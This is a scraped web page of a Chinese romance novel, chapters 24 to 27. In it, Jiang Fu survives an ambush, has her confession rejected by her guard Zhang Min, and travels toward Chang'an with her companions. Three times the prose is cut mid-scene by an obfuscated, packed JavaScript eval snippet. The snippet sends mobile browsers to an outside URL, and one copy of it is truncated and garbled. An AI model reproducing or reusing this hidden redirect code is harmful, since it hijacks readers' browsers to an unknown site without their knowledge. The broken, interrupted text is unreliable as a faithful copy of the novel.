她何尝说错了呢,蒋芙就是拿身世戳张闵脊梁骨过,为了撒气就行吗?往往随口说出的话就是最来源于内心深处的话。 她一个现代人,在别人轻视自己身世时自诩思想先进,在心里默不作声讽刺,到了自己能剥削的时候,又灵活地挥起了封建的大刀。 讨厌这个,讨厌那个,结果她又好到了哪去。 ……这两个人,怎么没有一个人来找她给台阶。 他们都讨厌她了? “蒋娘子。” 脚步声淌着长草簌簌走来。 骆岢手里拿了信筒,神情比之前轻松许多,在月下浅笑望她,心情颇为不错。 蒋芙这边还难受着,但见他似如沐春风的谪仙,也生不起气来。 她鼻子里应了一声,道:“找到公女了?” 骆岢弯着眉眼点头:“陛下秋狩,沁儿误打误撞闯了进去,如因公主认出了她,找过去时正带着她玩呢。” “她还小,不懂分辨方向,说去光州,却一路往长安去。” 蒋芙心里踏实下来,也有了几分笑意。 两人上次分别时的隔阂都被秋风吹尽了。 骆岢轻道:“娘子,此番多谢你。你说的对,我的确配不上世人的赞誉。像今天,方才,我是何等的自乱阵脚。若不是娘子……” 蒋芙被他这么一说更加自责。 她究竟犯了多少口业? “我……” 张闵不知从哪来,突然冲到她面前,眸色少有的凌厉。 “芙芙!有危险,跟我走!” 24. 第 24 章 危险? 蒋芙尚未缓过神来,便脚下失重,被一把带离原来的地方。 张闵提了蒋芙,又去拉愣在原地被刀刃砍了头发的骆岢。 他发冠落了,削剩下的发披在身后,短了一半。 蒙面持刀者有数十个。郡公府亲卫及时发现,与之缠斗拖延住了进度。 张闵将蒋芙抱在怀里躲闪,单手挥剑杀了不少人。滚烫的鲜血淋到蒋芙裙摆,热意浸到里层转凉。 金属与金属碰撞,极其刺耳的声音。 蒋芙过去只知道张闵会武功,不知道他这么会杀人。人头滚在不远处的地上,她看得心惊肉跳,嘴里直泛恶心。 赵江摆平了这些人,活捉了一个,没有松懈。 “公子,速速回城离开这地方!我听见马蹄声,似乎有重骑兵,从长安方向来。” “重骑兵?”骆岢紧皱眉头,对这一切的发生感到莫名,“对方是什么人?为何对我们下手?” 赵江道:“我问过,他们是跟着鹰过来的,再不肯多说。属下以为,可能是长安出事了!” 骆岢惨白着脸:“是沁儿那边?这信是假的?” 赵江道:“公子莫慌,信定然是真的,外人不会用我们的鹰。也许是有人错认,误以为我们在传递长安的情报,就近派人截杀。” 那头沈听南惊叫一声,张闵放蒋芙落地,奔过去解决那条落网之鱼。 赵江道:“公子,此地不宜久留,我们快走!” 城门已落锁,赵江走在前面带路,一行人往白氏驻扎在城外的军营处赶。 沈听南伤了脚,于是张闵背上的人换成了她。 蒋芙本就还尴尬着,不知怎么处理张闵的事,沈听南将他们隔开也好,方便她想办法。 在她看来,比起弥补自己之前毒舌的错误,这些突然过来杀人的人不值一提。毕竟张闵在,骆岢也在,有人保护她,有人是真正的靶子,再怎么样遭殃的也轮不到她。 路上,骆岢心事重重。 妹妹的事,加上那批围过来灭口的人。 从小长于高门大户的公子,在这一刻终于意识到自己所处的环境并没有那么太平。阴谋与杀意并存,它们一直遮掩在礼学道义的背后,在暗处窥视着世间运转。 他垂首,捋了下鬓边削短一大截的长发。 蒋芙蓦道:“公子不必伤怀,绑起来就看不见长短了。” 骆岢转头看她。 黑夜之中,蒋芙看不穿他的眼神。她只看到他怜惜摸头发的动作,以为是心疼了。 自己正落单孤独,没忍住开口和别人搭话。 “多谢娘子。娘子不怕吗?” “怕什么?” 一阵阴冷秋风吹过,蒋芙抱了抱手臂。 骆岢将银白披风解下,递到蒋芙面前:“方才不慎染了污秽,娘子若不嫌弃,便用它御寒吧。” 所谓“污秽”便是指血迹,蒋芙自己身上也被淋到,没理由嫌弃送上门的厚衣服。 “多谢公子。”蒋芙记起他似乎把自己话放在心上的事,有意弥补,“不愧是公子,这么有君子风度!” 她用披风把自己捂得只剩脑袋露在外面,自没有骆岢穿着气宇轩昂,还拖在地上很长,仿佛穿了大人衣服。 骆岢见她如此,心情稍微轻松了一点。 他遮掩唇边的笑意,道:“我过去并没有这种……” 过去并没有这种风度。 他将话截住,不肯再说。 险些失言。过去没有这种风度,现在有了,岂不是在告诉蒋芙,她对他来说是特别的吗。 过去他举止谨慎,恐惹祸上身,不给任何女子留有余地。 对于蒋芙,他有种莫名的安心感。 她对待他与其他女子对待他是不同的,所以他也没忍住回应了这份不同。 心里想着杂乱无章的事,洛城驻军营地到了。 赵江献出郡公府的令牌,看守恭敬将他们迎入。 “公子来得巧,白将军也在。” 张闵将沈听南放下,沈听南一瘸一拐蹦到远处的蒋芙身边,对她温柔一笑。 “芙芙冷了?怎么要了公子的衣服来穿?” 蒋芙没说话,心却想,如果天下的人都像沈听南一样脸皮厚就好了。再怎么被她骂,也不改吃屎,时时刻刻到她面前挑衅。 她低头看沈听南的脚,这一看才发现她裙子上豁了好长一道口子,血迹顺着裙摆一路向下,现在还新鲜着。 “你受伤了?疼吗?” 蒋芙眼中充斥担忧,并非作假,而是她对伤口的尊重。哪怕面前是一只动物受伤,她也会关心地捧起来自言自语。 沈听南愣愣盯她,许久没有过这种待遇,她有些受宠若惊。 “不疼。” 转眼的功夫,声音也不夹了,脸上温柔似水的笑意也不见。沈听南面无表情蹿跳到没人的地方,一个人静静站着。 蒋芙闭了闭眼,骂神经病。 她走到骆岢身边,“公子,听南受伤了,能劳烦你替她找个大夫吗?” 骆岢未及回话,他身边的赵江殷勤指使一个小兵:“去,把你们的军医找过来!就说给小娘子看病,让他提前准备一下,带个小童过来帮忙!” 大齐民风,男女虽有别却不那么严苛,但顾及女子声誉,行医者身边常养小童,传授医术,遇女子可用稚童代为接触。 小兵闻话行礼:“是!” 不一会儿,白明旭从帐中提灯出来,身后跟着他的几个年纪相仿的手下。 他们这边的人,骆岢为首与他们交代情况。 蒋芙一向不参与这些,大致听懂他们准备带人去长安接公女便不再听,就地蹲下去闭眼休息。 她眼眶疲惫歇会儿眼睛,没想到晃晃悠悠真的睡了过去。 将要向前倾倒,脸接地时,张闵扶了她一把。 “芙芙,回去?” 蒋芙感受到他的气息,猛地清醒过来。 她睁了会儿眼睛,才答:“嗯。” 张闵要拉她起身,被她反拉住:“你不生我气吗?” 张闵顿了下,疑惑:“什么?” 蒋芙两手拉,将他拉到自己身侧蹲着,小声道:“我说你是家生子的事。” 张闵道:“为什么生气?” 蒋芙尴尬道:“因为我说你是家生子啊……” 张闵抬手蹭了一下她的脸,上面有血滴干成的一个红点。 “我本来就是家生子,你没说错。” “但我那样说是想让你生气的。” “为什么生气?” “你真是!”声音没忍住大了些,她看了看别人,发现没人注意这边,继续说:“我是侮辱你呢,没事谁提你的身世!” 张闵:“你生气?为什么?” 蒋芙没忍住打了他一下:“你怎么这么多为什么!” “我……那时候我以为你喜欢沈听南,不想娶我。我娘让我嫁给你,我怕她提了你拒绝,我很丢脸,我故意那么说的,我也不知道怎么就被沈听南听去了,她那么坏,拿到你面前说……” 张闵淡道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329679|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我现在也不想娶你。” 蒋芙抬头,恍惚间以为自己听错了。 “你说什么?” “我不会娶你。” “你……不喜欢我吗?” 这是蒋芙最近确定的事。他会吃她的醋,会拼命保护她,这不是喜欢吗? 张闵有些不解:“我为何……” “可是我喜欢你。我……” 她脸上通红,眼角湿润起来:“你不喜欢我,还对我那么好?你知不知道我喜欢多想?是……是我多想,你对谁不是这样,你对我娘比对我还好。我娘结交不善之人时,你也站出来阻拦,是我多想,想歪了你和我的关系。” “你说话啊,你说我说错了!” 她到底还是没控制住音量,哭着喊出来了。 骆岢那边的人纷纷回头,惊讶看向他们。 蒋芙这时候也顾及不上脸面了,逼问他:“你说啊,张闵!” “你说你是我的什么……” 张闵此人,一向不动人情世故的脑。他自有一番为人处世的规则,具有十分敏锐的识别好坏人的嗅觉。很多时候,他做出的表情、说出去的话并没有什么特别的含义。 他从小长在情感非常丰富、一点就炸的蒋芙身边,每天都对她的情绪感到疑惑。 起初他有过着急的年岁,想要跟上蒋芙的脚步。但个人条件受限,不懂的地方他问出来,收获的是另一人的不懂。 于是他便放弃了,母亲说拿好剑守在蒋芙身边,这就是他这辈子要做的事。 眼下,蒋芙在悲伤,他便只能看懂悲伤。可她为什么悲伤? 因为他不娶她? 她想要他娶她? 那种事,她直接说,他就会做的,为什么要哭? 他是她的什么? “你的刀剑,兵器。” “……”蒋芙活了算两辈子,人生头一回的告白就这样落幕。 就像媚眼抛给瞎子看。 她往前回想,越想越觉得是她自作多情。 张闵何时说过对她有那种意思? 她自己从小准备嫁给人家,就要他回应对等的心情吗? 张闵又来伸手给她擦眼泪了。 蒋芙往后闪身:“别碰我。” 张闵的手便停在半空,依旧是一脸的不解。 “我们今天已经把话说开了,对不起,之前是我不好,任性,动不动冲你发脾气,误会你,对你有非分之想,我之后不会了。” “你以后,正常给我干活就行。我会按时给你发钱,就这样吧。” 她没脸再呆下去,独身往营帐外走。 白明旭叫住她:“蒋娘子——” 蒋芙垂着眼睛回头,挥手:“再会,白将军。” 虽不合时宜,但白明旭必须说明:“娘子,方才乱战有人逃走,定是记住了你的脸。你最好先别单独行动,不然……不然张郎君寡不敌众,你们二人……” 他说得结结巴巴,像是多顾虑蒋芙心情似的。蒋芙反而被惹怒:“那怎么办?” “娘子不如在营中将就一夜……” 他给手下一个眼神,手下走上前:“蒋娘子这边请。” 蒋芙黑脸跟着走,将在场冷眼旁观的人记恨个遍。 将人目送走,白明旭松了口气。 已然安排得差不多,他道:“明日便启程长安,公子随行,方便将贼人引出。黄力,后派去的人有送鹰回来吗?” “回将军,尚未。” “继续派人去看情况,事有不对立刻回禀。” 25. 第 25 章 借着睡觉的由头退场,实际蒋芙并不想睡。 她紧闭双眼,脑海里不停回现刚刚向张闵表白时自己狼狈的样子、旁边人围观她的样子、旁观人眼中她的样子。 她得看着多可怜,喜欢了一个人那么久,换来一句“为何要喜欢”。 帐篷里寂静无声。蒋芙在黑暗中睁开眼睛,将眼中堆积的泪放出来。 她吸吸鼻子,回想她为何要喜欢他。 最开始她只把张闵当小孩看,虽然知道自己未来要嫁给他,有了培训的心思,但他就是小孩,她怎么会对一个小孩动心? 他小时候长得又瘦又矮,时常帮着云姨做蒋家的活计,蒋芙主动找他,他才能跟她玩一会儿。 他干活勤快,又不爱说话揽功,因而每逢他出现,家里下人都很高兴欢迎他,他多做一点,他们就少做一点。 张闵分辨不出大人喜爱里的不纯粹,默不作声地做了许多不属于他的工作。 要不是蒋芙发现,砍柴烧柴都是他的活。 她不许别人欺负他。 不久张闵得了机缘,随他师父游学习武,一去就是五年。 他回来时,已经长成高大少年了。 蒋芙挽着沈听南从廊下走过,察觉有人盯她,抬头望进他的眼里。 她觉得熟悉,也觉得对方神情淡漠,不好再多看。 傍晚,久病成疾的云姨将张闵带到蒋芙面前,说着托孤的话。 蒋芙心情沉重,一一点头,再抬头看张闵,他还是那副冷漠的模样。 他们从小一起长大,分开了五年就陌生成这般田地。 不过很快他们就重新熟悉了。 蒋芙坐秋千,不用差使他也会推。 蒋芙出去踏青,从斜坡滑下去,他从天而降般将她及时拉住。 他会背她回家。 她睡不着了就去摇他,他睁眼也不生气。 牵手可以,拥抱可以,她趁他睡着时也悄悄亲过他。 没有沈听南故意接近张闵的事,蒋芙也许及笄后就和张闵成亲了。 那样也就没有金无尽的事,娘不必死。他们成亲以后自立门户,将娘接到他们那边去住。 他们可以有一个幸福平凡的小家。 泪不知不觉浸湿鬓角。 一切幻想消弭于黑暗。 要有“如果”也不能从沈听南那里“如果”,要从最根本的地方。 “如果”张闵喜欢她。 他不喜欢她,后面的假设便也不成立。 蒋芙深吸一口气,她太难过。 这种难过和母亲死时的难过不同。那时的难过和愤怒并发,像阴雨天灰色的海浪。 而目下她的难过,是海水淹没陆地的虚无。 她什么都不剩了。她在这世间孤身一人。 蒋芙后悔地想,她没说喜欢他就好了,起码他还傻陪她身边,她看起来没这么可怜。 她是真的可怜。 他们一定都笑她,瞧不起她。偏偏她连逃走的资格都没有。 快到天亮,蒋芙有意让自己睡过去。 第二天还要赶路,也不知有没有马车给她坐。 没睡多久,她被沈听南叫醒。 “芙芙,起来换件衣裳吧,白将军要带我们去长安呢。” 蒋芙木然起身,似乎是流了一夜泪的缘故,脸上的皮肤紧绷着,视线也有些不清晰了。 她揉眼睛。沈听南将衣服展开,粉白圆领窄袖襕衫,很柔美的一套胡服,看得出是沈听南的审美,她身上穿了一件水蓝色同样款式的。 胡服方便赶路,蒋芙一声不吭地把衣服换上,沈听南又从外面端了早饭进来。 一来一回,两人一句话都没说。换做以往,沈听南早就找话敲打她了。 蒋芙冷笑一声:“你也可怜我了?” 沈听南布菜的手一顿,无奈笑道:“芙芙说哪里的话,我怎么听不懂呢。” 蒋芙道:“你最好真的不懂。” 就算昨晚那件事发生时,沈听南不在现场,之后也一定有人争先恐后跟她说这个热闹。 蒋芙不信她不知道。 勉强吃了点东西垫肚子,蒋芙找人要了个帷帽戴着。队伍启程,只有一辆马车,沈听南掀帘叫她,她便也跟过去坐车。 白明旭等习武之人都在外骑马。蒋芙隔着帷帽的纱帘扫了一眼,没看见张闵的身影。心中坠了一下,想他应是走了。 他本就不必图她的工资。以他的本事,想给谁做手下都能有出息。也就是他,换做其他人,一早就离她而去,怎会耽搁到现在。 坐进马车,蒋芙才发现骆岢也在。 他为啥也在?不是会骑马吗? 蒋芙想起昨晚他回头的那一眼,顿觉不自然。还好她戴着帷帽没摘,狼狈的样子不用被他看去。 他心里一定很瞧不起她了吧。她说过那么多瞧不起他的话,却连让别人喜欢她的能力都没有,可见她之前说的都是不值一提的胡话。 蒋芙索性梗着脖子面朝车窗坐。 马车内除了沈听南不时和骆岢讨论几句书中诗词外,只听到马蹄与车轱辘硌石子的声音。 一行人从白天走到晚上,白明旭下令扎营。 蒋芙实在没忍住:“长安还没到?” 沈听南道:“坐马车要小半个月呢。” “那公子的鹰是会瞬移吗?那些杀人的精兵会瞬移吗?怎么就能从长安一下子追到洛城外杀我们了?” 她没出过远门,还不懂这些,言辞犀利。 骆岢温声道:“蒋娘子稍安勿躁,此行并非到长安城内,大约还有六七日车程。” “先前,娘子所见之鹰是郡公府特殊训练过的猛禽,此类鸟可持之以恒辗转目的地之间,不出一个时辰便能从长安那边的据点接应,返回书信。” “至于那些刺客,大约是观测到了鹰的踪迹,幕后之人担心所谋之事败露,在洛城附近派的杀手,他们并非长安口音。” “你家好端端养那种鹰做什么?郡公不是没在朝中当官吗?你们是把那种鹰私用?用作什么上面?为什么你家在长安有据点?” 隔着一道白纱,蒋芙说话间神情全然看不清楚。 她的切入点太过锋利,骆岢启唇半晌,没答出一个字。 他从未想过这些。有便可用,哪有什么原因。 蒋芙又问:“长安人有口音吗?” 沈听南看了眼骆岢脸色,答道:“是官话。与我们相比语调有些差别。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341761|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你去过长安,长安是什么样的?” 沈听南见蒋芙还愿意说话,稍微宽了宽心。 她包扎完刀伤,白明旭隔着营帐交代了她不在时蒋芙与张闵发生的事。张闵把蒋芙惹成那样,说实在,沈听南心中幸灾乐祸。 她清楚张闵在蒋芙心中的地位。他们两人之间隔了一张诡异的窗户纸,关系融洽时,沈听南总在担惊受怕。 如果窗户纸破得天时地利人和,她在蒋芙心中便只剩下了一个名字,连恨都没必要恨。 结果事情往有利于她的方向发展,窗户纸破成了她最想见到的模样。 窗户那边的人并没有变化,是蒋芙的态度引发了两种不同结果,区别在于“我要你娶我”和“你喜欢我吗”这两句简单的话。蒋芙与张闵不懂,她却看得明确。 前半夜,沈听南十分快意。世间待她无往不利,所有人和事都向蒋芙证明,离开了沈听南是错误的选择,除了她还有谁会对她好? 施舍的好,也是好。区区芙芙,没有拒绝的资格。 后半夜,她从内心深处的扭曲淡出来,像个正常人一样忧虑蒋芙的心情。 可蒋芙就是蒋芙。她不需要任何人为她担心,哪怕遇到天大的事,哭过闹过以后,她总会为自己划一条出路。 沈听南道:“长安很繁华,屋顶上有漂亮的飞檐,街上到处都是贵女鲜艳的裙摆。在棋盘一样的街道上,你能遇到关外金发碧眼的胡人,也能遇到王侯贵族。若是幸运,在皇城附近,或可遇见天子游玩。” 蒋芙随着她的话想象,不由自主神往。 原来长安那么好。 “公子眼中的长安呢?” 骆岢没想到蒋芙还会主动问他话,短暂惊讶过后,他道:“长安有很多人。” 蒋芙哼了声:“哪人不多。” 骆岢道:“是真的……有很多人。” 蒋芙道:“是不是很多的大人和小人啊?” 骆岢愣了一下,将头避开,没有回话。 长安有很多人,巍峨的宫阙,数不尽的规矩,躲不开的眼睛。 按蒋芙的思路来看,的确是很多的大人和小人。 她总是这样敢说。 又不是只有他们两个的时候,沈娘子还在这。 马车停驻扎营。 白明旭送了吃食和御寒的衣物过来,蒋芙将帷帽摘下,从饭盒里取饼吃。沈听南被药童叫去换药,篝火附近只有他们两人。 赶了一天的路,加上早晨蒋芙没吃什么东西,肚子早就空了。所以手中饼凉了,她吃得依然很香。 她后知后觉产生了与昨夜不同的悔。 昨晚不说那些好了。他们认识了这么多年,说断就断,她心里空落落的孤独。 蒋家如今只剩他们两个了,到最后也要分开吗? 白明旭毫不见外坐她身边,拿了张饼吃。 “蒋娘子,卖我个面子,别生张闵的气了。” 蒋芙转头盯他。 女孩子视线投在他身上,大多是娇羞与欣赏的。 白明旭头一次被女子用充满敌意的目光打量,他心里诧异一瞬,又觉好笑。 他笑,蒋芙也笑。 她说:“你哪来的面子?” 26. 第 26 章 话音落下,白明旭为之一怔。 “蒋娘子,我没面子?我记得我还救过你一次呢!” 蒋芙丝毫不落下风:“我还帮过你呢。” 一来一回也算扯平。 而且白明旭救她随手可救,她帮他的忙可是用命去折腾的,她不欠他人情。 白明旭笑开,十分豁达接受了她的说辞。 他指头挠了挠鼻子:“娘子怎么像是生我气了一样?昨日惹娘子生气的人可不是我啊。” 蒋芙不再理人,用力咬饼吞吃。 白明旭推推她手肘,又点点她肩膀,她当作没知觉。 白明旭道:“真不理人?你就不好奇张闵在哪吗?” 蒋芙当然好奇,但她哪来的脸打听。 “我的事用不着白将军费心。” 像铜墙铁壁似的。 白明旭笑到最后,不便过多打扰,说了句好好休息就回了他兄弟那边热闹。 夜风凉兮兮刮过脊背,蒋芙围了一件袄子,钻进帐篷。 她用叹息化解乱作一团的思绪。 张闵不是小孩子,他会自己吃饭,找安全的地方容身,根本犯不上用她担心。没了她,他还能活得更好,她不能再这样耽搁自己了。 这是失恋的最后一天,明天她必须走出来,然后想想没了张闵傍身,她以后怎么在这个时代活下去。 她还有几十两银子傍身,没有武力,她能守得住不惹杀身之祸吗? 沈听南换好药,掀帘用拐杖进了帐篷。 蒋芙被她一窜一跳的身影吸引了注意,虽然很不情愿,但她或许能帮她想办法。 “到了长安以后,你有什么打算吗?” 她话音发得晦涩,僵硬中夹杂着别扭。 沈听南听到,震惊看她。 这对话太和平,太日常,她亦不甚熟练:“我……我应该会拜见公主,求借车马回洛城。” 蒋芙点头。沈听南和她不一样,她的家好好的,节外生枝以后肯定回家,她还要继续给公女做伴读。 沈听南柔声问:“芙芙有什么打算吗?” “我可能去长安看看,合适的话,我就留在那吧。”蒋芙很不自在,可她境地很惨,除了眼前这个死对头,她没有别的说话的人。 “不回洛城了吗?” “嗯,以后可能会回,但这两年,我想找个没人认识我的地方住着。” 她摆弄了一下背包,里面有母亲的骨灰和六十五两白银。 骆岢说他们的目的地不在长安城内。到分道扬镳时,她便花钱雇车赶路去长安。 “你觉得,我一个人,能做什么?” 沈听南观察着蒋芙尴尬的神色,怎么会有人将情绪这么浅显地表现在脸上,让她都情不自禁跟着为难了。 “女子一人在外自处不易。你独自生活,会有许多觊觎你财色的男人出现搅扰你。即便同为女子,也丝毫不吝啬害你谋利。” 蒋芙低头嗤笑:“世界这么大,竟容不下我活着吗?” 沈听南道:“若是我,可自荐为女子教习师父。芙芙没有一技之长,选择嫁人依附……” “我去死算了!” 怒喊一声,蒋芙飞快解下外衫钻进被窝。 又是半宿没合眼。 她在脑内想了许多种可能。 买房子被骗钱,房东跑路。 买房子被发现是女子独居,丑恶狗男借机骚扰。 买房子被发现是独居,不讲理的邻居们欺负、偷盗。 去茶馆等场所工作,不收女员工。 入职成为女员工被老板骚扰/恶意扣钱/发现独居尾随回家/被客人欺负。 ——脾气上头和别人吵架挨揍被打死。 “……” 蒋芙从被子里坐起身穿衣服。 张闵没有她能不能好好活下去不重要,她没了他肯定活不成。 临时的营帐外夜深人静,是个适合道歉的好机会。 蒋芙踮脚走出帐篷,将帘子轻轻放下去。 皓月当空,雪白的光落了一整片空地。 蒋芙仰头望了一会儿,心里认同了自己就是可笑的。 可笑怎么了?她宁愿窝囊地活下去,也不想有那些种死法。 她移步往篝火明亮处,试图寻找白明旭的踪迹。 他知道张闵在哪,不然不会那么跟她说。 蒋芙告诉自己,脸皮虽然是肉,但有的时候也可以是铁做的。 身后一阵凉风吹过,蒋芙缩了下脖子,紧接着是熟悉的气息。 “你在找我?” 她脚步一顿,意识到是谁,眼眶里堆积了滚烫的液体。 无声消化了这些,她做好心理准备,转身说正事。 “对不起。” 张闵在月光下静静看她:“为什么?” 蒋芙努力笑一下:“因为……我之前说了奇怪的话。你能当作什么都没听见吗?” 张闵没有一丝犹豫点头:“好。” 蒋芙心里紧绷的弦松了下来。 “那你还能和我一起生活吗?就当普通的朋友,家人,我有点离不开你……” 张闵依然果决:“是夫人的要求,我一直和你一起。” 蒋芙从未如此深刻地感到,眼前的青年是母亲给她留的最宝贵的遗产。 她一下子开阔了,虽然还是难受,但这种浅薄的难受比不上对安全忧患消除的轻松。 “那结束这些事以后,我们还是去光州!不过我们可以去长安玩几天,你想买什么我都会给你买的!” “多谢。” 蒋芙喜悦地擦了擦脸:“太好了。” 她道:“我其实,这几天心里都不太舒服,你能最后抱我一下吗?就一下……” 掩饰的说辞没说完,张闵已将她揽入怀里。 蒋芙放肆自己呼吸他身上令人心安的皂角气味,将头落在他胸口,手臂紧紧扣住他的腰。 从今以后,就是朋友了。 解开了心结,蒋芙像以往一样跟他说话。 “你昨天都去哪了?我一整天都没看见你。” 张闵道:“你生气了,为了不让你更生气。” “所以是去哪了?” “树上。” “你一棵树一棵树跳吗?” 张闵思索一下:“嗯。不能离你太远。” 蒋芙笑了一下:“好像猴子。” 她想起了以前,也是这样,张闵惹了她生气,就会回避到她消气为止。他不知错在哪,道歉也只会让蒋芙更生气,回避是最好的方式。 他完全没懂他们那天的对话算什么。 蒋芙安慰自己,虽然表面上她需要张闵更多。但他显然是脑子有点问题,有她在也能帮他一些事情,她并不是没用的。 “你吃饭了吗?” “吃了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347365|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃的什么?” “饼。” “谁给你的?” “将军。” “你跟他关系好像不错?” “没有。” 蒋芙拍拍他肩膀:“他好像挺赏识你的。” 话锋一转,眼睛也眯了起来:“不过你不许跟他干,记住了吗?你只能跟我干。” 张闵眼中清若月下潭水,有一丝淡的笑意:“记住了。” 蒋芙看了眼天色,距离亮天还早。 “我回去了,你也睡一会,明天也要尽全力保护我,知道吗?” “知道。” 蒋芙对他笑,很柔和的一张笑脸,月光下皮肤白而细腻,像很甜的那种小点心。 张闵心口发紧,感到一阵刺痛。 无伤大雅的痛,时常在他身上出现,不消一刻就会恢复往常。 今夜,他似乎发现了一点规律。 他尝试回想蒋芙的脸,刺痛果然出现。从心间蔓延到十指,勾起一股酸苦,片刻恢复正常。 他从衣襟上捡了一根头发,发质柔软,是蒋芙的。 有风吹过,发丝从他指尖飞走,在月光下失去了踪迹。 - 蒋芙放下心结,终于有了休息的心思,动辄在马车上睡一天,直到恢复精神。 经过城镇,她掀帘朝车外看。 队伍前方,白明旭用手牵着马,经过小贩,不时停下看看东西。 不知看中了什么,他掏钱笑呵呵买了,回头无比精准地盯到蒋芙的眼睛。 蒋芙倏地松手,车帘在眼前挡住。 和她担心的一样,几秒后,随着脚步声袭来,车帘被白明旭一把掀开:“蒋娘子,送你好玩的!” 蒋芙顺着他手看,是一个鲤鱼造型的物件。 她感到奇怪:“你送我东西干什么?” 白明旭明眸皓齿对她笑:“娘子不是跟我生气了吗?我来送东西赔罪。” 蒋芙沉默片刻:“我其实每天都跟别人生气,你不用这么在意,放着不管等我有事会去求你的。” 她刚破了面子跟张闵求和,眼下正是自我厌弃的时段。 白明旭把木头鲤鱼放到蒋芙手里:“娘子真会说笑。” 蒋芙看那只鲤鱼:“这是什么?” “哨子,娘子闲来无事吹着解闷玩。” 还挺有趣的。 蒋芙问:“将军对每个生了气的女子都会如此赔礼吗?” 白明旭道:“自然啊。” 她将哨子握在手里,微笑看他:“那你要小心以后找不到媳妇。” 白明旭来了兴致,扒着车窗不走了:“为啥为啥?我还真没媳妇呢。” 蒋芙道:“因为将军你没分寸,喜欢你的女孩看见你为人,再怎么喜欢都得考量考量。” 沈听南柔声笑了一下,插入他们的交谈:“将军莫要和芙芙一般见识,她幼时在家中无拘束惯了。” 蒋芙听她给自己兜底,便不再说了,摆弄手里的鲤鱼哨子。 白明旭倒是意犹未尽:“沈娘子莫要如此客套,同行一路,咱们几个可算朋友了!我是真心想讨媳妇的,向上又无长辈,好不容易有小娘子愿意提点。” “那个……芙芙!你再多说两句!” 骆岢咳了一声,放下刻本:“明旭,车不好一直在路中停着,手下人都在等你。” 白明旭笑看他,“哦”了声。 27. 第 27 章 他在“哦”什么? 骆岢按在刻本上的手指微微蜷了蜷,心头直冲一股烦躁。 蒋芙将哨子攥手里下车:“不吵公子了。既然将军一心向学,我教你一些,这小东西就当作学费了。” 白明旭最后看了骆岢一眼,从善如流:“多谢娘子啦。” 蒋芙离开以后,车厢氛围极其压抑。 向来挑起话题的沈听南一言不发,沉默盯她那双伤腿,似乎在暗恨什么。 骆岢又翻了两页他的刻本,将本子放到一侧,也下了车。 没有蒋芙在,他与沈听南孤男寡女共坐一辆马车并不合适。 秋仿佛是一夜袭来的,道旁的古树落了枯叶,景致一片萧索。队伍终于穿过了集镇,白明旭重新上马,蒋芙也折返,远远就看见骆岢在车旁漫步。 他身量在男子之间亦算高挑,人又清瘦,周身散发着空灵之感,路过的人都站在原地将他呆望成背影。 真是好大的排场。 蒋芙心想,他该庆幸身份高贵,如果生在平常人家,他不一定有沈听南好过。 如此想来,她容貌中庸反而是一种幸运。 普通人,永远是最庞大、最安全的一个群体。 蒋芙上了车,沈听南迎面笑盈盈瞧她,那笑意味深长,令她轻车熟路燃起怒火。 “沈听南,把你的嘴给我压下去。” “芙芙和白将军聊得可开心?” “关你什么事,你那是什么笑?” “是恭喜芙芙回来的笑。” 骆岢再上车,撞见的就是这两人对峙的场面。 “滚,狗屁恭喜!你笑话谁呢?” “无缘无故,我怎会突然笑话你?” “我哪知道你犯什么病?别在这跟我装模作样,我不想跟你吵架也不想跟你打架!我已经一点都不想理你了!就算你对我有什么意见,也给我憋回去,这趟行程结束,咱们这辈子都不用见了!” “……” 恭喜个毛,以为谁都和她一样眨眼的功夫八百个心眼? 蒋芙厌恶瞪她,一把掀开车帘,和方才要上车的骆岢面对了面。 “让开!” 骆岢沉默侧身,给她让出下车的空间。 蒋芙跳下马车,猛然凑近他:“光风霁月的无双公子还偷听啊。怎么样,好听吗?你也喜欢听我说话?” 骆岢垂眸道歉,距离过近,他耳廓发热:“我并非有意……” 蒋芙毫无预兆拉住他手,故意给掀开车帘的沈听南看。 她低声威胁:“敢甩开我就告诉别人骆岢公子最喜欢偷听了!” 骆岢动作一僵,停在了挣扎的第一步。 沈听南目光冷幽盯他们牵在一起的手,姣美的面容褪去最后一丝温度。 车帘缓缓落下,蒋芙也将骆岢的手甩开,带头钻进了车,还做戏帮他撩了把车帘。 擦身而过,骆岢的肩饰勾到了蒋芙的发髻,兰花坠嵌入乌黑发丝中。 “啊!” 蒋芙歪头跟他动作,“你刮到我了!” 她低侧头瞪他,像在质问他是不是故意的。 骆岢尴尬地回手,想帮忙解,却牵动了肩饰,蒋芙吃痛:“你别动了!” 她喘了口气:“那个谁,沈听南,你过来帮个忙!” 沈听南低眸瞧她的暖玉镯,光照在上面映着明朗的泽润。 